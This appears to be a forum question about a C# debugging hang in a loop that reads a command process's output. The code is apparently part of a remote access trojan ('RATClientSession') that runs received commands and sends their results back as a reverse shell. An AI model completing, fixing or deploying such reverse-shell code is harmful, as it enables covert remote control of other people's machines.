I have set debugging points for each line in the code below. But for some reason Visual Studio stops debugging after it gets to the following line:
string standardError = cmd.StandardError.ReadLine().Trim(' ');
The code:
await Task.Run(async () =>
{
while (hasStarted)
{
if (data.Contains("§close§") || RATClientSession.noConnection)
{
hasStarted = false;
cmd.Kill();
}
if (data.Length > 1 && data != checkIfDataIsNew)
{
cmd.StandardInput.WriteLine(data);
data = checkIfDataIsNew;
}
string standardError = cmd.StandardError.ReadLine().Trim(' ');
string standarOutput = cmd.StandardOutput.ReadLine().Trim(' ');
if (standardError.Length == 0)
await RATClientSession.SendData(standarOutput + "§ReverseShell§\n");
else
await RATClientSession.SendData(standardError + "§ReverseShell§\n");
}
});
I tried to make StandardOutput
and StandardInput
not send data at the same time. But for some reason it's not working. And I can't debug it because of the debugging problem I explained earlier. Is there any chance the task could be the problem. Any other suggestions?